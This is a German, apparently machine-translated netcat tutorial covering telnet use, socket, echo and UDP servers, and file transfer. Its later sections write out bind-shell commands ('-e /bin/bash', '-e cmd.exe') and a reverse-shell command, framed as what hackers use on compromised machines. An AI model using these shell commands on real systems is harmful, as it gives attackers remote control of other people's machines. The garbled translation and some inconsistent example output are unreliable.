Netcat
Netcat ist eine Terminalanwendung, die dem Telnet-Programm ähnelt, aber viel mehr Funktionen bietet.
Es ist eine „Power-Version“ des traditionellen Telnet-Programms.
Abgesehen von den grundlegenden Telnet-Funktionen kann es verschiedene andere Dinge tun, z. B. Socket-Server erstellen, um auf eingehende Verbindungen an Ports zu warten,Dateien vom Terminal zu übertragen usw.
So ist es ein kleines Werkzeug, das mit vielen Funktionen verpackt ist., Daher seine so genannte „Schweizer Taschenmesser für TCP/IP“.
Das netcat-Handbuch definiert netcat als
Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.
Daher ist netcat im Grunde ein Werkzeug, um eine bidirektionale Netzwerkkommunikation über die TCP/UDP-Protokolle durchzuführen.
Technisch gesehen kann netcat als Socket-Server oder-Client fungieren und gleichzeitig mit anderen Programmen interagieren, um Daten über das Netzwerk zu senden und zu empfangen.
Eine solche Definition klingt zu allgemein und macht es schwierig zu verstehen, was genau dieses Tool tut und wofür es nützlich ist., Dies kann nur verstanden werden, indem man es benutzt und damit spielt.
Ncat
Als erstes müssen Sie netcat auf Ihrem Computer einrichten. Netcat kommt in verschiedenen Geschmacksrichtungen. Bedeutet, dass es von mehreren Anbietern erhältlich ist.
Aber die meisten von ihnen haben ähnliche Funktionalität. Unter Ubuntu gibt es 3 Pakete namens netcat-openbsd, netcat-traditional und ncat.
Meine bevorzugte version ist ncat. Ncat wurde vom nmap-Team entwickelt und ist das Beste aller verfügbaren Netcats und vor allem plattformübergreifend und funktioniert sehr gut unter Windows.,
Projekt website:
Installieren Ncat auf Windows
Windows version von netcat können heruntergeladen werden von
Einfach herunterladen und extrahieren sie die dateien irgendwo geeignet.
Oder download ncat windows version
Installieren Ncat auf Ubuntu / Linux Mint / Linux
Ubuntu syntaktischen paket hat netcat-openbsd und netcat-traditionellen pakete verfügbar. Installieren Sie beide. Nmap wird auch mit einer Netcat-Implementierung namens ncat geliefert. Installieren Sie das auch.,
Install on Ubuntu
$ sudo apt-get install netcat-traditional netcat-openbsd nmap
Um die netcat-openbsd-Implementierung zu verwenden, verwenden Sie den Befehl „nc“.
netcat verwenden-traditionelle Implementierung verwenden “ nc.traditioneller „Befehl
Um nmap ncat zu verwenden, verwenden Sie den Befehl „ncat“.
Beispiele für Netcat-Befehle
Im folgenden Tutorial werden wir sie alle auf unterschiedliche Weise in verschiedenen Beispielen verwenden.
Telnet
Das allererste, was netcat verwendet werden kann, ist ein Telnet-Programm. Mal sehen, wie.
$ nc -v google.com 80
Nun ist netcat mit google.com auf Port 80 und seine Zeit, um eine Nachricht zu senden., Versuchen wir, die Indexseite abzurufen. Für diesen Typ “ Index abrufen.html HTTP/1.1 “ und drücken Sie zweimal die Eingabetaste. Erinnere dich zweimal.
Die Ausgabe von google.com wurde empfangen und auf dem Terminal wiederholt.
Einfacher Socket-Server
Um einen einfachen Socket-Servertyp im folgenden Befehl zu öffnen.
$ nc -l -v 1234
Der obige Befehl bedeutet : Netcat TCP-port 1234. Die Option-v gibt ausführliche Ausgabe zum besseren Verständnis., Versuchen Sie nun von einem anderen Terminal aus, über den Telnet-Befehl eine Verbindung zu Port 1234 herzustellen:
Nach dem Verbinden senden wir eine Testnachricht wie abc und ting tong an den Netcat-Socket-Server. Der Netcat-Socket-Server gibt die vom Telnet-Client empfangenen Daten zurück.
$ nc -l -v 5555Connection from 127.0.0.1 port 5555 acceptedabcting tong
Dies ist eine komplette Chat-System. Geben Sie etwas in netcat Terminal ein und es wird auch im Telnet Terminal angezeigt. So kann diese Technik zum Chatten zwischen 2 Maschinen verwendet werden.,
Kompletter ECHO-Server
Ncat mit der Option-c kann zum Starten eines Echo-Servers verwendet werden. Quelle
Starten Sie den Echo-Server mit ncat wie folgt
$ ncat -v -l -p 5555 -c 'while true; do read i && echo $i; done'
Verbinden Sie sich jetzt von einem anderen Terminal aus mit telnet und geben Sie etwas ein. Es wird mit dem Präfix „“ zurückgesendet.
Die netcat-openbsd-Version hat nicht die Option-c. Denken Sie daran, immer die option-v für ausführliche Ausgabe.
Hinweis: Netcat kann angewiesen werden, die Daten in einer Datei zu speichern, anstatt sie an das Terminal zurückzugeben.,
$ nc -l -v 1234 > data.txt
UDP-Server erstellen
Netcat funktioniert auch mit UDP-Ports. Um einen Netcat-Server mit UDP-Ports zu starten, verwenden Sie die Option-u
$ nc -v -ul 7000
UDP-Client
Stellen Sie über netcat eine Verbindung zu diesem Server her
$ nc localhost -u 7000
Jetzt können beide Terminals miteinander chatten.
Dateiübertragung
Mit netcat kann eine ganze Datei übertragen werden. Hier ist ein kurzes Beispiel.
One machine A-Send File
$ cat happy.txt | ncat -v -l -p 5555Ncat: Version 5.21 ( http://nmap.org/ncat )Ncat: Listening on 0.0.0.0:5555
Im obigen Befehl liest und gibt der cat-Befehl den Inhalt von happy aus.txt., Die Ausgabe wird nicht an das Terminal zurückgegeben, sondern an ncat weitergeleitet oder zugeführt, das einen Socket-Server an Port 5555 geöffnet hat.
Auf Maschine B – Receive-Datei
$ ncat localhost 5555 > happy_copy.txt
Im obigen Befehl ncat wird eine Verbindung zu localhost auf port 5555-und was es empfängt, wird geschrieben happy_copy.txt
Jetzt happy_copy.txt wird eine Kopie von happy sein.txt da die Daten, die über Port 5555 gesendet werden, der Inhalt von happy ist.txt im vorherigen Befehl.
Netcat sendet die Datei nur an den ersten Client, der eine Verbindung zu ihr herstellt. Danach ist es vorbei.,
Und nach dem ersten Client schließt die Verbindung, netcat Server wird auch die Verbindung schließen.
Port scannen
Netcat kann auch verwendet werden für port scannen. Dies ist jedoch keine ordnungsgemäße Verwendung von netcat und ein anwendbareres Tool wie nmap sollte verwendet werden.
Der Parameter “ – n „verhindert hier die DNS-Suche,“- z „bewirkt, dass nc keine Daten vom Server empfängt, und“ – w 1 “ führt nach 1 Sekunde Inaktivität zu einer Zeitüberschreitung der Verbindung.
Remote Shell / Backdoor
Ncat kann verwendet werden, um eine Basic Shell auf einem Remote System an einem Port ohne ssh zu starten., Hier ist ein kurzes Beispiel.
$ ncat -v -l -p 7777 -e /bin/bash
Das obige startet einen Server auf Port 7777 und übergibt alle eingehenden Eingaben an den bash-Befehl und die Ergebnisse werden zurückgesendet. Der Befehl konvertiert das Bash-Programm grundsätzlich in einen Server. So kann netcat verwendet werden, um jeden Prozess in einen Server zu konvertieren.
Verbinden Sie sich mit dieser Bash-Shell über nc von einem anderen Terminal aus
$ nc localhost 7777
Versuchen Sie nun , einen beliebigen Befehl wie help , ls, pwd usw. auszuführen.
Windows
Auf Windows-Rechner die cmd.,exe (dos Prompt program) wird verwendet, um eine ähnliche Shell mit netcat zu starten. Die syntax des Befehls ist dieselbe.
C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exelistening on 8888 ...connect to from (UNKNOWN) 1182
Jetzt kann eine andere Konsole eine Verbindung mit dem Telnet-Befehl
Obwohl netcat zum Einrichten von Remote-Shells verwendet werden kann, ist es nicht sinnvoll, eine interaktive Shell auf einem Remote-System abzurufen, da netcat in den meisten Fällen nicht auf einem Remote-System installiert wird.
Die effektivste Methode zum Abrufen einer Shell auf einem Remote-Computer mit netcat besteht darin, Reverse-Shells zu erstellen.,
Reverse Shells
Dies ist die leistungsstärkste Funktion von netcat, für die sie von Hackern am häufigsten verwendet wird. Netcat wird in fast allen Reverse-Shell-Techniken verwendet, um die umgekehrte Verbindung des Shell-Programms von einem gehackten System abzufangen.
Reverse telnet
Nehmen wir zunächst ein Beispiel für eine einfache Reverse Telnet-Verbindung. In Ordinate Telnet-Verbindung stellt der Client eine Verbindung zum Server her, um einen Kommunikationskanal zu starten.
Your system runs (# telnet server port_number) =============> Server
Mit der obigen Technik können Sie nun eine Verbindung zu Port 80 des Servers herstellen, um eine Webseite abzurufen., Ein Hacker ist jedoch daran interessiert, eine Befehlsshell zu erhalten. Es ist die Eingabeaufforderung von Windows oder das Terminal von Linux. Die Befehlsshell gibt ultimative Kontrolle über das Remote-System. Jetzt wird auf dem Remote-Server kein Dienst ausgeführt, mit dem Sie eine Verbindung herstellen und eine Befehlsshell abrufen können.
Wenn sich ein Hacker in ein System hackt, muss er eine Befehlsshell erhalten. Da es nicht direkt möglich ist, besteht die Lösung darin, eine umgekehrte Shell zu verwenden. In einer umgekehrten Shell initiiert der Server eine Verbindung zum Computer des Hackers und gibt eine Befehlsshell aus.,
Step 1 : Hacker machine (waiting for incoming connection)Step 2 : Server ==============> Hacker machine
Um auf eingehende Verbindungen zu warten, muss ein lokaler Socket-Listener geöffnet werden. Netcat/ncat kann dies tun.
Zuerst muss ein netcat-Server auf dem lokalen Rechner oder dem Rechner des Hackers gestartet werden.
Maschine A
$ ncat -v -l -p 8888Ncat: Version 6.00 ( http://nmap.org/ncat )Ncat: Listening on :::8888Ncat: Listening on 0.0.0.0:8888
Das Obige startet einen Socket-Server (Listener) auf Port 8888 auf dem lokalen Computer/Hacker-Computer.
Jetzt muss eine Reverse Shell auf dem Zielcomputer/gehackten Computer gestartet werden. Es gibt eine Reihe von Möglichkeiten, Reverse Shells zu starten.,
Damit jede Methode funktioniert, muss der Hacker entweder in der Lage sein, beliebige Befehle auf dem System auszuführen, oder er sollte in der Lage sein, eine Datei hochzuladen, die durch Öffnen über den Browser ausgeführt werden kann (wie ein PHP-Skript).
In diesem Beispiel machen wir keine der oben genannten Dinge. Wir werden nur netcat auf dem Server ausführen, um auch eine Reverse Command Shell zu werfen, um das Konzept zu demonstrieren. Netcat sollte also auf dem Server oder Zielcomputer installiert sein.,
Maschine B:
$ ncat localhost 8888 -e /bin/bash
Dieser Befehl stellt eine Verbindung zu Maschine A auf Port 8888 her und speist die Ausgabe von bash ein, wodurch Maschine A effektiv eine Shell zugewiesen wird A. Jetzt kann Maschine A jeden Befehl auf Maschine B ausführen.
Maschine A
In einem echten Hacking – /Penetrationstest-Szenario ist es nicht möglich, netcat auf dem Zielcomputer auszuführen. Daher werden andere Techniken verwendet, um eine Shell zu erstellen. Dazu gehören das Hochladen von Reverse-Shell-PHP-Skripten und das Ausführen durch Öffnen im Browser. Oder starten Sie einen Pufferüberlauf-Exploit, um Reverse Shell Payload auszuführen.,
Fazit
In den obigen Beispielen haben wir gesehen, wie netcat für verschiedene Netzwerkaktivitäten wie Telnet, Reverse Shells usw. verwendet wird. Hacker verwenden es hauptsächlich zum Erstellen schneller Reverse-Shells.
In diesem Tutorial haben wir einige der grundlegenden und gebräuchlichen Verwendungen von netcat behandelt. Weitere Informationen darüber, was netcat sonst noch tun kann, finden Sie im Wikipedia-Artikel.